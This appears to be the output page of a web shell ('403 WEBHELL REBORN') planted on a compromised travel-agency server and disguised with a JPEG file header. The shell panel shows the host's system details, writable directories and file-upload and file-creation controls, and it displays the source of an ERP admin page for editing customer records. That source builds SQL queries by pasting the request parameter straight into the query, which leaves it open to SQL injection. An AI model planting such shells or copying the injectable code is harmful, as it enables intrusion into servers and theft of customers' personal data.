ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp_231024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp_231024/edit_customer.php
<?
include "../include/top.html";
include "_common.html";


// 기존 예약정보
if($a_idx){
	$sql = "select * from TB_ERP_ALL where a_idx='{$a_idx}'";	
	$rs = db_query($sql);
	$row = db_fetch_array($rs) ;

	// 참여 인원
	$inwon = $row['num_adult'] + $row['num_child'];

	//1인투어비
	$price_per_one = round($row['total_price'] / ($row['num_adult']+$row['num_child']));

	//통화단위
	$currency2 = $row[currency];

	$SqlType = "res_update";

	//customer 정보
	$sql2 = "select * from TB_ERP_CUSTOMER where a_idx='{$a_idx}' order by c_idx asc";	
	$rs2 = db_query($sql2);
	while ($row2 = db_fetch_array($rs2)) {
		$row_customer[] = $row2;
	}

	// 출발일
	$start_date = date('Y년 m월 d일', strtotime($row['start_date']));
	$start_date .= " (" . get_yoil($row['start_date']) . ")";
}
?>
<style>
.input_text {width:calc(100% - 5px);}
.input_ctext {width:calc(100% - 5px);}
.input_rtext {width:calc(100% - 5px);}

.butline { float: right; padding-bottom:10px; }
.butline li{ list-style:none; display: inline; margin-right:10px; }
.butline li a{ color: #fff; }
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.2.61/jspdf.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/0.4.1/html2canvas.js"></script>
<div class="contents_wrap">
	<div class="contents_wrap_in" style="position:relative;">

		<ul class="butline" style="position:absolute;right:24px;top:45px;z-index:1;">
			<div id="editor"></div>
			<li><a href="#" id="pdf_btn" onclick="person_list_pdf('<?=$a_idx?>')"><span class="Bbtn red">PDF 다운로드</span></a></li>
			<li><a href="excel_customer.php?a_idx=<?=$a_idx?>"><span class="Bbtn red" style="background-color:#fff;
			color:#000;border:1px solid #aaa"><img src="../image/btn/ico_excel.gif">&nbsp엑셀저장</span></a></li>
		</ul>

		<div class="title">
		<strong>견적서 수정</strong>
		</div>
		<div class="contents_detail">
		<!-- 본문 -->

			<div class="conbody_area" style="margin-top:0;padding-top:0;">

			<ul class="rev_tab full">
				<li><a href="#" onclick="location.href='edit_estimate.php?a_idx=<?=$a_idx?>&tab=cont01';return false;">견적서(Itinerary)</a></li>
				<? if($a_idx) { ?>
				<li><a href="#" onclick="location.href='edit_estimate.php?a_idx=<?=$a_idx?>&tab=cont02';return false;">인보이스(Invoice)</a></li>
				<li><a href="#" onclick="location.href='edit_estimate.php?a_idx=<?=$a_idx?>&tab=cont03';return false;">바우처(Voucher)</a></li>
				<li class="on"><a href="#">고객리스트</a></li>
				<? } ?>
				<li><a href="#" style="background-color:#edf0f5"></a></li>
				<li><a href="#" style="background-color:#edf0f5"></a></li>
				<li style="width:10%"><a href="#" style="background-color:#edf0f5"></a></li>
			</ul>

			<p style="background-color:#edf0f5">&nbsp;</p>

			<form name="frm_customer" id="frm_customer" method="post">
			<input type="hidden" name="SqlType" value="customer_update">
			<input type="hidden" name="a_idx" value="<?=$a_idx?>">

			<table width="72%" border="0" cellspacing="0" cellpadding="0" class="setting_write item_addon_price_box" id="pdf_table">
				<colgroup>
					<col style=" width:4%" />
					<col style=" width:10%" />
					<col style=" width:11%" />
					<col style=" width:5%" />
					<col style=" width:5%" />
					<col style=" width:5%" />
					<col style=" width:24%" />
					<col style=" width:9%" />
					<col style=" width:9%" />
					<col style=" width:9%" />
					<col style=" width:9%" />
				</colgroup>
				<thead>
				<tr style="border-top:1.2px solid #555;">
					<th class="bg_sky">NO</th>
					<th class="bg_sky">고객이름</th>
					<th class="bg_sky">전화번호</th>
					<th class="bg_sky">국적</th>
					<th class="bg_sky">성별</th>
					<th class="bg_sky">나이</th>
					<th class="bg_sky">미팅장소</th>
					<th class="bg_sky">객실타입</th>
					<th class="bg_sky">객실번호</th>
					<th class="bg_sky">예약경로</th>
					<th class="bg_sky">비고</th>
				</tr>
				</thead>
				<tbody>
				<?
				for($i = 0; $i < $inwon; $i++) {
				?>
				<tr>
					<td align="center">
						<?=$i+1?>
						<input type="hidden" name="c_idx[]" value="<?=$row_customer[$i]['c_idx']?>">
					</td>
					<td><input type="text" name="cus_nm[]" type="text" class="input_ctext" value="<?=$row_customer[$i]['cus_nm']?>"></td>
					<td><input type="text" name="cus_phone[]" class="input_ctext" value="<?=$row_customer[$i]['cus_phone']?>"></td>
					<td><input type="text" name="cus_nat[]" class="input_ctext" value="<?=$row_customer[$i]['cus_nat']?>"></td>
					<td><input type="text" name="cus_gend[]" class="input_ctext" value="<?=$row_customer[$i]['cus_gend']?>"></td>
					<td><input type="text" name="cus_age[]" class="input_ctext" value="<?=$row_customer[$i]['cus_age']?>"></td>
					<td><input type="text" name="cus_depot[]" class="input_text" value="<?=$row_customer[$i]['cus_depot']?>"></td>
					<td><input type="text" name="cus_roomtype[]" class="input_ctext" value="<?=$row_customer[$i]['cus_roomtype']?>"></td>
					<td><input type="text" name="cus_roomnum[]" class="input_ctext" value="<?=$row_customer[$i]['cus_roomnum']?>"></td>
					<td><input type="text" name="cus_route[]" class="input_ctext" value="<?=$row_customer[$i]['cus_route']?>" ></td>
					<td><input type="text" name="memo[]" class="input_ctext" value="<?=$row_customer[$i]['memo']?>" ></td>
				</tr>
				<? } ?>

				</tbody>
			</table>

			<div style="width:23%; position:fixed; right:25px; top:182px; border-top:1.2px solid #555;">
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" style="background-color:#FFF; border-radius:5px;">

					<colgroup>
						<col style=" width:30%" />
						<col style=" width:70%" />
					</colgroup>
					<tr style-="height:47px;">
						<th>행사명</th>
						<td>
							<?=$row['good_name']?>
						</td>
					</tr>
					<tr style-="height:47px;">
						<th>출발일</th>
						<td>
							<?=$start_date?>
						</td>
					</tr>
					<tr>
						<th>가이드정보</th>
						<td>
							<input type="text" name="customer_guide" class="input_text" value="<?=$row['customer_guide']?>">
						</td>
					</tr>
					<tr>
						<th>기사정보</th>
						<td>
							<input type="text" name="customer_driver" class="input_text" value="<?=$row['customer_driver']?>">
						</td>
					</tr>
					<tr>
						<th>차량정보</th>
						<td>
							<input type="text" name="customer_carinfo" class="input_text" value="<?=$row['customer_carinfo']?>">
						</td>
					</tr>
					<tr style-="height:47px;">
						<th>총인원</th>
						<td><?=$inwon?> 명</td>
					</tr>
					</tbody>
				</table>
				<div style="position:fixed;top:490px;right:85px;">
					<a class="Bbtn red" href="#" onclick="chk_form();" style="width:80px;margin-right:10px"><i class="xi-save" style="font-size:15px;vertical-align:text-top;"></i>&nbsp저장</a>
					<a class="Bbtn black" href="/admin/erp/erp_list.php" style="width:80px;"><i class="xi-reply" style="font-size:15px;vertical-align:text-top;"></i>&nbsp견적리스트</a>
				</div>
			</div>

			</form>
		
		</div>
	</div>
</div>

<script type="text/javascript">
	
	// 정산내역 PDF 출력
	function person_list_pdf(a_idx){
		var url = "/admin/TCPDF/erp/pdf_person_list.php?a_idx=" + a_idx;

		location.href=url;

	}

	// 폼 저장
	function chk_form()
	{
		var f = document.frm_customer;

		var result = to_validation(f)
		if( result == false ) return false;

		/*
		$(".day_date").each(function(index){
			var day_value = $(this).val();
			if(day_value == ''){
				var number = index +1;
				alert('"Day ' + number +'" 값을 입력하세요');
				$(this).focus();
				result = false;
				return false;
			}
		});
		if( result == false ) return false;
		*/

		if(!confirm('저장하시겠습니까?')) return;

		f.action = "res_proc.php";
		f.submit();

	}

</script>

Anon7 - 2021